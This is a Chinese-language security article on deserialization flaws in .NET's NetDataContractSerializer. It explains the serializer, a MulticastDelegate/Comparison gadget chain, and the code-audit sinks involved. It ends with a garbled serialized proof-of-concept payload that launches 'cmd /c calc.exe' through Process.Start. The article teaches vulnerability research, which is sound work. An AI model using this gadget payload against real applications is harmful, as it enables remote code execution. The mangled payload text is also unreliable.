一、前言
netdatacontractserializer和datacontractserializer一样用于序列化和反序列化windows communication foundation (wcf) 消息中发送的数据。两者之间存在一个重要区别:netdatacontractserializer 包含了clr,通过clr类型添加额外信息并保存引用来支持类型精确,而datacontractserializer 则不包含。 因此,只有在序列化和反序列化端使用相同的 clr 类型时,才能使用 netdatacontractserializer。若要序列化对象使用 writeobject或者serialize方法, 若要反序列化 xml流使用 readobject或者deserialize方法。在某些场景下读取了恶意的xml流就会造成反序列化漏洞,从而实现远程rce攻击,本文笔者从原理和代码审计的视角做了相关介绍和复现。
二、NetDataContractSerializer序列化
使用WriteObject或者Serialize可以非常方便的实现.NET对象与XML数据之间的转化,注意NetDataContractSerializer包含了程序集的名字和被序列化类型的类型。这些额外信息可以用来将XML反序列化成特殊类型,允许相同类型可以在客户端和服务端同时使用。另外的信息是z:Id属性在不同的元素上意义是不同的。这个用来处理引用类型以及当XML被反序列化时是否引用可以保留,最后的结论是这个输出相比DataContractSerializer的输出包含了更多信息。下面通过一个实例来说明问题,首先定义TestClass对象

TestClass对象定义了三个成员,并实现了一个静态方法ClassMethod启动进程。序列化通过创建对象实例分别给成员赋值

笔者使用Serialize得到序列化TestClass类后的xml数据
<testclass><age>18</age><classname>360</classname><name>Ivan1ee</name></testclass>
三、NetDataContractSerializer反序列
3.1 反序列化原理和用法
NetDataContractSerializer类反序列过程是将XML流转换为对象,通过创建一个新对象的方式调用ReadObject多个重载方法或Serialize方法实现的,查看定义得知继承自XmlObjectSerializer抽象类、IFormatter接口,

NetDataContractSerializer类实现了XmlObjectSerializer抽象类中的WriteObject、ReadObject方法,也实现了IFormatter中定义的方法。笔者通过创建新对象的方式调用Deserialize方法实现的具体实现代码可参考以下

其实在Deserialize方法内也是调用了ReadObject方法反序列化的

反序列化过程中使用ReadObject方法调用了ReadObjectHandleExceptions方法,省略一些非核心代码,进入InternalReadObject方法体内反序列化后得到对象的属性,打印输出成员Name的值。

3.2 攻击向量—MulticastDelegate
多路广播委托(MulticastDelegate)继承自 Delegate,其调用列表中可以拥有多个元素的委托,实际上所有委托类型都派生自MulticastDelegate。MulticastDelegate类的_invocationList字段在构造委托链时会引用委托数组,但为了取得对委托链更多的控制就得使用GetInvocationList方法,它是具有一个带有链接的委托列表,在对委托实例进行调用的时候,将按列表中的委托顺序进行同步调用,那么如何将calc.exe添加到GetInvocationList列表方法?首先先看Comparison

Comparison类返回委托,再使用Delegate或者MulticastDelegate类的公共静态方法Combine将委托添加到链中作为Comparison的类型比较器
使用Comparer
多路广播委托的调用列表GetInvocationList方法在内部构造并初始化一个数组,让它的每个元素都引用链中的一个委托,然后返回对该数组的引用,下面代码修改了私有字段_InvocationList并用泛型委托Func返回Process类。
最后传入攻击载荷后得到完整序列化后的poc,如下

四、代码审计
4.1 Deserialize
从代码审计的角度只需找到可控的Path路径就可以被反序列化,例如以下场景:

4.2 ReadObject
上面两种方式都是很常见的,需要重点关注。
五、复盘
1. 代码中实现读取本地文件内容
2. 传递poc xml,弹出计算器网页返回200
1. <arrayofstring><count>2</count> ><comparer><_comparison><delegate><assembly>mscorlib, Version=4.0.0.0,Culture=neutral, PublicKeyToken=b77a5c561934e089</assembly> ><delegateentry><assemblyz:ref></assemblyz:ref><methodname>Compare</methodname> ><target></target><targettypename>System.String a:targetTypeName >System.Comparison`1[[System.String,mscorlib, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b77a5c561934e089]] a:type > a:delegateEntry >Start a:methodName >System, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b77a5c561934e089 >System.Diagnostics.Process a:targetTypeName >System.Func`3[[System.String,mscorlib, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b77a5c561934e089],[System.String, mscorlib, Version=4.0.0.0,Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Diagnostics.Process,System, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b77a5c561934e089]] a:type > Delegate >System.Diagnostics.Process Start(System.String,System.String) Signature >System.Diagnostics.ProcessStart(System.String, System.String) Signature2 >8 MemberType ><genericarguments></genericarguments> method0 >Int32 Compare(System.String, System.String) Signature >System.Int32 Compare(System.String,System.String) >8 MemberType > method1 > _comparison > Comparer >2 Version >/c calc.exe string >cmd string > Items > ArrayOfstring ></targettypename></delegateentry></delegate></_comparison></comparer></arrayofstring>
最后附上动态效果图












